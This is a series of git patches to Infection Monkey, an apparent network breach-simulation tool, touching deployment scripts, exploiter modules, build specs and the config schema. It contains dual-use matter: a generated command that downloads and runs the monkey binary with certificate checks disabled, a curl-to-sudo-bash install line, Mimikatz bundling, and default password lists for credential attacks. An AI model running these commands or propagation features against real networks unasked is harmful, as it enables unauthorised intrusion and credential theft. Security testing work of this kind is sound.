00:00:00 2001 From: Daniel Goldberg Date: Mon, 10 Dec 2018 14:10:35 +0200 Subject: [PATCH 159/183] Cleanup --- deployment_scripts/README.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index e37c34b0e..92a2fd76e 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -1,5 +1,6 @@ # Files used to deploy development version of infection monkey -On windows:
    +## Windows + Before running the script you must have git installed.
    Cd to scripts directory and use the scripts.
    First argument is an empty directory (script can create one) and second is branch you want to clone. @@ -10,12 +11,13 @@ powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Wind ./run_script.bat "" "master"(Sets up master branch instead of develop in current dir) Don't forget to add python to PATH or do so while installing it via this script.
    -On Linux:
    -You must have root permissions, but don't run the script as root.
    +## Linux + +You must have root permissions, but there is no need to run the script as root.
    Launch deploy_linux.sh from scripts directory.
    First argument is an empty directory (script can create one) and second is branch you want to clone. Example usages:
    ./deploy_linux.sh (deploys under ./infection_monkey)
    ./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)
    ./deploy_linux.sh "" "master" (deploys master branch in script directory)
    -./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)
    \ No newline at end of file +./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)
    From 03ad75b0432259e419d8c9926a49e07e74e1b8c9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 11 Dec 2018 09:44:21 +0200 Subject: [PATCH 160/183] Now break the loop as soon as we encounter timeout --- monkey/infection_monkey/exploit/shellshock.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 23880589a..a98cbda50 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -210,7 +210,7 @@ class ShellShockExploiter(HostExploiter): reqs.append(requests.head(u, verify=False, timeout=TIMEOUT)) except requests.Timeout: timeout = True - continue + break if timeout: LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.") valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] From eff2c0d2447d87351354fc2cbd7b4dcebba160ae Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 11 Dec 2018 17:07:45 +0200 Subject: [PATCH 161/183] Node updates and pip installation added --- deployment_scripts/deploy_linux.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 01a4f4780..c9bb7c176 100644 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -62,6 +62,12 @@ if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != * exit 1 fi +log_message "Updating package list" +sudo apt-get update + +log_message "Installing pip" +sudo apt-get install python-pip + log_message "Installing island requirements" requirements="$ISLAND_PATH/requirements.txt" python -m pip install --user -r ${requirements} || handle_error @@ -122,6 +128,11 @@ ${ISLAND_PATH}/linux/create_certificate.sh || handle_error log_message "Installing npm" sudo apt-get install npm +# Update node +log_message "Updating node" +curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash - +sudo apt-get install -y nodejs + log_message "Generating front end" cd "$ISLAND_PATH/cc/ui" || handle_error npm update From 8d50b5d02cbb09794cb5e24ca148af0e66e36cb6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 16 Dec 2018 13:38:44 +0200 Subject: [PATCH 162/183] merge spec files --- monkey/infection_monkey/build_linux.sh | 2 +- monkey/infection_monkey/monkey-linux.spec | 32 ------ monkey/infection_monkey/monkey.spec | 133 +++++++++++++++++----- 3 files changed, 105 insertions(+), 62 deletions(-) delete mode 100644 monkey/infection_monkey/monkey-linux.spec diff --git a/monkey/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh index c05c2891c..fcaf4c75d 100644 --- a/monkey/infection_monkey/build_linux.sh +++ b/monkey/infection_monkey/build_linux.sh @@ -1,2 +1,2 @@ #!/bin/bash -pyinstaller --clean monkey-linux.spec +pyinstaller -F --log-level=DEBUG --clean monkey.spec diff --git a/monkey/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec deleted file mode 100644 index 61a2725c4..000000000 --- a/monkey/infection_monkey/monkey-linux.spec +++ /dev/null @@ -1,32 +0,0 @@ -# -*- mode: python -*- - -block_cipher = None - - -a = Analysis(['main.py'], - pathex=['..'], - binaries=None, - datas=None, - hiddenimports=['_cffi_backend'], - hookspath=None, - runtime_hooks=None, - excludes=None, - win_no_prefer_redirects=None, - win_private_assemblies=None, - cipher=block_cipher) - -a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')] - -pyz = PYZ(a.pure, a.zipped_data, - cipher=block_cipher) -exe = EXE(pyz, - a.scripts, - a.binaries, - a.zipfiles, - a.datas, - name='monkey', - debug=False, - strip=True, - upx=True, - console=True ) \ No newline at end of file diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index f539d61fa..84e6b82f0 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -2,39 +2,114 @@ import os import platform + +__author__ = 'itay.mizeretz' + +block_cipher = None + # Name of zip file in monkey. That's the name of the file in the _MEI folder MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' +def main(): + a = Analysis(['main.py'], + pathex=['..'], + hiddenimports=get_hidden_imports(), + hookspath=None, + runtime_hooks=None, + binaries=None, + datas=None, + excludes=None, + win_no_prefer_redirects=None, + win_private_assemblies=None, + cipher=block_cipher + ) + + a.binaries += get_binaries() + a.datas = process_datas(a.datas) + + pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) + exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + name=get_monkey_filename(), + debug=False, + strip=get_exe_strip(), + upx=True, + console=True, + icon=get_exe_icon()) + + +def is_windows(): + return platform.system().find("Windows") >= 0 + + +def is_32_bit(): + return platform.architecture()[0] == "32bit" + + +def get_bin_folder(): + return os.path.join('.', 'bin') + + +def get_bin_file_path(filename): + return os.path.join(get_bin_folder(), filename) + + +def process_datas(orig_datas): + datas = orig_datas + if is_windows(): + datas = [i for i in datas if i[0].find('Include') < 0] + datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] + return datas + + +def get_binaries(): + binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() + binaries += get_sc_binaries() + return binaries + + +def get_windows_only_binaries(): + binaries = [] + binaries += get_msvcr() + return binaries + + +def get_linux_only_binaries(): + binaries = [] + return binaries + + +def get_hidden_imports(): + return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend'] + + +def get_sc_binaries(): + return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']] + + +def get_msvcr(): + return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')] + + +def get_monkey_filename(): + return 'monkey.exe' if is_windows() else 'monkey' + + +def get_exe_strip(): + return not is_windows() + + +def get_exe_icon(): + return 'monkey.ico' if is_windows() else None + + def get_mimikatz_zip_path(): - if platform.architecture()[0] == "32bit": - return '.\\bin\\mk32.zip' - else: - return '.\\bin\\mk64.zip' + mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip' + return os.path.join(get_bin_folder(), mk_filename) -a = Analysis(['main.py'], - pathex=['..'], - hiddenimports=['_cffi_backend', 'queue'], - hookspath=None, - runtime_hooks=None) - -a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] - -if platform.system().find("Windows") >= 0: - a.datas = [i for i in a.datas if i[0].find('Include') < 0] - a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] - -pyz = PYZ(a.pure) -exe = EXE(pyz, - a.scripts, - a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')], - a.zipfiles, - a.datas, - name='monkey.exe', - debug=False, - strip=None, - upx=True, - console=True, - icon='monkey.ico') +main() # We don't check if __main__ because this isn't the main script. From 0658431358d8c2b923748eb8d66b2a5c03c42df2 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 16 Dec 2018 18:15:04 +0200 Subject: [PATCH 163/183] Use carried traceroute on linux --- monkey/infection_monkey/monkey.spec | 5 ++ monkey/infection_monkey/network/tools.py | 75 +++++++++++------------- 2 files changed, 38 insertions(+), 42 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 84e6b82f0..29fe7db04 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -69,6 +69,7 @@ def process_datas(orig_datas): def get_binaries(): binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() binaries += get_sc_binaries() + binaries += get_traceroute_binaries() return binaries @@ -95,6 +96,10 @@ def get_msvcr(): return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')] +def get_traceroute_binaries(): + return [('traceroute', get_bin_file_path('traceroute'), 'BINARY')] + + def get_monkey_filename(): return 'monkey.exe' if is_windows() else 'monkey' diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index fa84f84fe..64cc70bb6 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -9,9 +9,12 @@ import re from six.moves import range +from infection_monkey.pyinstaller_utils import get_binary_file_path + DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 -IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' +IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' +IP_ADDR_PARENT_RE = r'\(' + IP_ADDR_RE + r'\)' LOG = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 @@ -188,19 +191,8 @@ def traceroute(target_ip, ttl): return _traceroute_linux(target_ip, ttl) -def _traceroute_windows(target_ip, ttl): - """ - Traceroute for a specific IP/name - Windows implementation - """ - # we'll just use tracert because that's always there - cli = ["tracert", - "-d", - "-w", "250", - "-h", str(ttl), - target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - ip_lines = stdout.split('\r\n') +def _parse_traceroute(output, regex, ttl): + ip_lines = output.split('\n') trace_list = [] first_line_index = None @@ -213,7 +205,7 @@ def _traceroute_windows(target_ip, ttl): if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished break - re_res = re.search(IP_ADDR_RE, ip_lines[i]) + re_res = re.search(regex, ip_lines[i]) if re_res is None: ip_addr = None else: @@ -223,36 +215,35 @@ def _traceroute_windows(target_ip, ttl): return trace_list +def _traceroute_windows(target_ip, ttl): + """ + Traceroute for a specific IP/name - Windows implementation + """ + # we'll just use tracert because that's always there + cli = ["tracert", + "-d", + "-w", "250", + "-h", str(ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() + stdout = stdout.replace('\r', '') + return _parse_traceroute(stdout, IP_ADDR_RE, ttl) + + def _traceroute_linux(target_ip, ttl): """ Traceroute for a specific IP/name - Linux implementation """ - # implementation note: We're currently going to just use ping. - # reason is, implementing a non root requiring user is complicated (see traceroute(8) code) - # while this is just ugly - # we can't use traceroute because it's not always installed - current_ttl = 1 - trace_list = [] - while current_ttl <= ttl: - cli = ["ping", - "-c", "1", - "-w", "1", - "-t", str(current_ttl), - target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - ips = re.findall(IP_ADDR_RE, stdout) - if len(ips) < 2: # Unexpected output. Fail the whole thing since it's not reliable. - return [] - elif ips[-1] in trace_list: # Failed getting this hop - trace_list.append(None) - else: - trace_list.append(ips[-1]) - dest_ip = ips[0] # first ip is dest ip. must be parsed here since it can change between pings - if dest_ip == ips[-1]: - break + traceroute_path = get_binary_file_path("traceroute") + cli = [traceroute_path, + "-m", str(ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() - current_ttl += 1 - - return trace_list + lines = _parse_traceroute(stdout, IP_ADDR_PARENT_RE, ttl) + lines = [x[1:-1] if x else None # Removes parenthesis + for x in lines] + return lines From b2deb4b6c923fcde1efec232c0d152e8b191e6f3 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 16 Dec 2018 19:09:08 +0200 Subject: [PATCH 164/183] Add doc for parse_traceroute --- monkey/infection_monkey/network/tools.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 64cc70bb6..2b5497d8b 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -192,6 +192,14 @@ def traceroute(target_ip, ttl): def _parse_traceroute(output, regex, ttl): + """ + Parses the output of traceroute (from either Linux or Windows) + :param output: The output of the traceroute + :param regex: Regex for finding an IP address + :param ttl: Max TTL. Must be the same as the TTL used as param for traceroute. + :return: List of ips which are the hops on the way to the traceroute destination. + If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None + """ ip_lines = output.split('\n') trace_list = [] From 9ccd1db30994aa77ab29369fc680bb522558cbd2 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 18 Dec 2018 16:08:19 +0200 Subject: [PATCH 165/183] Make report map colored again --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 61e80737b..254d75809 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -104,7 +104,7 @@ class ReportPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { res.edges.forEach(edge => { - edge.color = edgeGroupToColor(edge.group); + edge.color = {'color': edgeGroupToColor(edge.group)}; }); this.setState({graph: res}); this.props.onStatusChange(); From 67fc46cb1848c9512703f0b35b8065828953295e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 Dec 2018 11:42:40 +0200 Subject: [PATCH 166/183] Upload only 64 bit monkey to windows --- monkey/infection_monkey/exploit/hadoop.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 881ccf39d..1db521acd 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -36,6 +36,9 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False + # We presume hadoop works only on 64-bit machines + if self.host.os['type'] == 'windows': + self.host.os['machine'] = '64' paths = self.get_monkey_paths() if not paths: return False From c184bd54f098f114220b3dbb0494bde2ef67ba3f Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 19 Dec 2018 18:19:48 +0200 Subject: [PATCH 167/183] - Changed curl to wget, its available out of the box on more OSs. --- .../monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 4543a5c34..5c93065c4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent { generateLinuxCmd(ip, is32Bit) { let bitText = is32Bit ? '32' : '64'; - return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` + return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` } generateWindowsCmd(ip, is32Bit) { From 079038783b7d5062b8aff4356380fba7748e5ae6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 23 Dec 2018 11:26:53 +0200 Subject: [PATCH 168/183] Update monkey/infection_monkey/network/tools.py Co-Authored-By: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> --- monkey/infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2b5497d8b..a5f8c8f28 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -14,7 +14,7 @@ from infection_monkey.pyinstaller_utils import get_binary_file_path DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' -IP_ADDR_PARENT_RE = r'\(' + IP_ADDR_RE + r'\)' +IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)' LOG = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 From 6ff2e7f541d3f432017520296ba29879c7d9def7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 23 Dec 2018 12:21:11 +0200 Subject: [PATCH 169/183] Fix CR comment --- monkey/infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index a5f8c8f28..2408663aa 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -251,7 +251,7 @@ def _traceroute_linux(target_ip, ttl): proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) stdout, stderr = proc_obj.communicate() - lines = _parse_traceroute(stdout, IP_ADDR_PARENT_RE, ttl) + lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl) lines = [x[1:-1] if x else None # Removes parenthesis for x in lines] return lines From 606f3525f7bde8cd731abca69ffdd563de516e0b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 23 Dec 2018 16:51:27 +0200 Subject: [PATCH 170/183] Fix CR + add 32/64bit binary choice --- monkey/infection_monkey/monkey.spec | 3 ++- monkey/infection_monkey/network/tools.py | 19 +++++++++++++++++-- 2 files changed, 19 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 29fe7db04..7315e10f5 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -97,7 +97,8 @@ def get_msvcr(): def get_traceroute_binaries(): - return [('traceroute', get_bin_file_path('traceroute'), 'BINARY')] + traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64' + return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')] def get_monkey_filename(): diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2408663aa..a38273260 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -10,6 +10,7 @@ import re from six.moves import range from infection_monkey.pyinstaller_utils import get_binary_file_path +from infection_monkey.utils import is_64bit_python DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 @@ -191,6 +192,21 @@ def traceroute(target_ip, ttl): return _traceroute_linux(target_ip, ttl) +def _get_traceroute_bin_path(): + """ + Gets the path to the prebuilt traceroute executable + + This is the traceroute utility from: http://traceroute.sourceforge.net + Its been built using the buildroot utility with the following settings: + * Statically link to musl and all other required libs + * Optimize for size + This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected + + :return: Path to traceroute executable + """ + return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32") + + def _parse_traceroute(output, regex, ttl): """ Parses the output of traceroute (from either Linux or Windows) @@ -244,8 +260,7 @@ def _traceroute_linux(target_ip, ttl): Traceroute for a specific IP/name - Linux implementation """ - traceroute_path = get_binary_file_path("traceroute") - cli = [traceroute_path, + cli = [_get_traceroute_bin_path(), "-m", str(ttl), target_ip] proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) From e82fb7f0610eafb6ca5c7762fab87442711cc2d0 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 23 Dec 2018 19:35:36 +0200 Subject: [PATCH 171/183] Add default ttl --- monkey/infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index a38273260..a5e6d0783 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -179,7 +179,7 @@ def tcp_port_to_service(port): return 'tcp-' + str(port) -def traceroute(target_ip, ttl): +def traceroute(target_ip, ttl=64): """ Traceroute for a specific IP/name. :param target_ip: IP/name of target From 4e5ede0a723435e09858502469fe497fe0e68d5b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 24 Dec 2018 10:58:29 +0200 Subject: [PATCH 172/183] Add note on exception throwing --- monkey/infection_monkey/network/tools.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index a5e6d0783..3a9adef57 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -182,6 +182,7 @@ def tcp_port_to_service(port): def traceroute(target_ip, ttl=64): """ Traceroute for a specific IP/name. + Note, may throw exception on failure that should be handled by caller. :param target_ip: IP/name of target :param ttl: Max TTL :return: Sequence of IPs in the way From 796ac48c72aa5b8bb1abb82b321d334008fd63c6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 27 Dec 2018 17:14:13 +0200 Subject: [PATCH 173/183] Add timeout for URL queries --- monkey/common/cloud/aws.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 53b0690f9..6e5bc6c0e 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -6,7 +6,7 @@ __author__ = 'itay.mizeretz' class AWS(object): def __init__(self): try: - self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() + self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read() except urllib2.URLError: self.instance_id = None From 5d3524cff57b7f471e4e6e203217bf08c0d11600 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 30 Dec 2018 18:11:14 +0200 Subject: [PATCH 174/183] Move config schema to separate file for easier editing --- monkey/monkey_island/cc/services/config.py | 856 +----------------- .../cc/services/config_schema.py | 855 +++++++++++++++++ 2 files changed, 856 insertions(+), 855 deletions(-) create mode 100644 monkey/monkey_island/cc/services/config_schema.py diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1b2966026..dc0ecada8 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -9,865 +9,11 @@ from cc.database import mongo from cc.encryptor import encryptor from cc.environment.environment import env from cc.utils import local_ip_addresses - +from config_schema import SCHEMA __author__ = "itay.mizeretz" logger = logging.getLogger(__name__) -WARNING_SIGN = u" \u26A0" - -SCHEMA = { - "title": "Monkey", - "type": "object", - "definitions": { - "exploiter_classes": { - "title": "Exploit class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SmbExploiter" - ], - "title": "SMB Exploiter" - }, - { - "type": "string", - "enum": [ - "WmiExploiter" - ], - "title": "WMI Exploiter" - }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RDP Exploiter (UNSAFE)" - }, - { - "type": "string", - "enum": [ - "Ms08_067_Exploiter" - ], - "title": "MS08-067 Exploiter (UNSAFE)" - }, - { - "type": "string", - "enum": [ - "SSHExploiter" - ], - "title": "SSH Exploiter" - }, - { - "type": "string", - "enum": [ - "ShellShockExploiter" - ], - "title": "ShellShock Exploiter" - }, - { - "type": "string", - "enum": [ - "SambaCryExploiter" - ], - "title": "SambaCry Exploiter" - }, - { - "type": "string", - "enum": [ - "ElasticGroovyExploiter" - ], - "title": "ElasticGroovy Exploiter" - }, - { - "type": "string", - "enum": [ - "Struts2Exploiter" - ], - "title": "Struts2 Exploiter" - }, - { - "type": "string", - "enum": [ - "WebLogicExploiter" - ], - "title": "Oracle Web Logic Exploiter" - }, - { - "type": "string", - "enum": [ - "HadoopExploiter" - ], - "title": "Hadoop/Yarn Exploiter" - } - ] - }, - "finger_classes": { - "title": "Fingerprint class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SMBFinger" - ], - "title": "SMBFinger" - }, - { - "type": "string", - "enum": [ - "SSHFinger" - ], - "title": "SSHFinger" - }, - { - "type": "string", - "enum": [ - "PingScanner" - ], - "title": "PingScanner" - }, - { - "type": "string", - "enum": [ - "HTTPFinger" - ], - "title": "HTTPFinger" - }, - { - "type": "string", - "enum": [ - "MySQLFinger" - ], - "title": "MySQLFinger" - }, - { - "type": "string", - "enum": [ - "MSSQLFinger" - ], - "title": "MSSQLFinger" - }, - - { - "type": "string", - "enum": [ - "ElasticFinger" - ], - "title": "ElasticFinger" - } - ] - } - }, - "properties": { - "basic": { - "title": "Basic - Credentials", - "type": "object", - "properties": { - "credentials": { - "title": "Credentials", - "type": "object", - "properties": { - "exploit_user_list": { - "title": "Exploit user list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Administrator", - "root", - "user" - ], - "description": "List of usernames to use on exploits using credentials" - }, - "exploit_password_list": { - "title": "Exploit password list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "description": "List of password to use on exploits using credentials" - } - } - } - } - }, - "basic_network": { - "title": "Basic - Network", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "blocked_ips": { - "title": "Blocked IPs", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": "List of IPs to not scan" - }, - "local_network_scan": { - "title": "Local network scan", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey should scan its subnets additionally" - }, - "depth": { - "title": "Distance from island", - "type": "integer", - "default": 2, - "description": - "Amount of hops allowed for the monkey to spread from the island. " - + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating too far" - }, - "subnet_scan_list": { - "title": "Scan IP/subnet list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": - "List of IPs/subnets the monkey should scan." - " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" - } - } - }, - "network_analysis": { - "title": "Network Analysis", - "type": "object", - "properties": { - "inaccessible_subnets": { - "title": "Network segmentation testing", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": - "Test for network segmentation by providing a list of" - " subnets that should NOT be accessible to each other." - " For example, given the following configuration:" - " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" - " a Monkey running on 10.0.0.5 will try to access machines in the following" - " subnets: 11.0.0.2/32, 12.2.3.0/24." - " An alert on successful connections will be shown in the report" - " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" - } - } - } - } - }, - "monkey": { - "title": "Monkey", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "alive": { - "title": "Alive", - "type": "boolean", - "default": True, - "description": "Is the monkey alive" - } - } - }, - "behaviour": { - "title": "Behaviour", - "type": "object", - "properties": { - "self_delete_in_cleanup": { - "title": "Self delete on cleanup", - "type": "boolean", - "default": False, - "description": "Should the monkey delete its executable when going down" - }, - "use_file_logging": { - "title": "Use file logging", - "type": "boolean", - "default": True, - "description": "Should the monkey dump to a log file" - }, - "serialize_config": { - "title": "Serialize config", - "type": "boolean", - "default": False, - "description": "Should the monkey dump its config on startup" - } - } - }, - "system_info": { - "title": "System info", - "type": "object", - "properties": { - "extract_azure_creds": { - "title": "Harvest Azure Credentials", - "type": "boolean", - "default": True, - "description": - "Determine if the Monkey should try to harvest password credentials from Azure VMs" - }, - "collect_system_info": { - "title": "Collect system info", - "type": "boolean", - "default": True, - "description": "Determines whether to collect system info" - }, - "should_use_mimikatz": { - "title": "Should use Mimikatz", - "type": "boolean", - "default": True, - "description": "Determines whether to use Mimikatz" - }, - } - }, - "life_cycle": { - "title": "Life cycle", - "type": "object", - "properties": { - "max_iterations": { - "title": "Max iterations", - "type": "integer", - "default": 1, - "description": "Determines how many iterations of the monkey's full lifecycle should occur" - }, - "victims_max_find": { - "title": "Max victims to find", - "type": "integer", - "default": 30, - "description": "Determines the maximum number of machines the monkey is allowed to scan" - }, 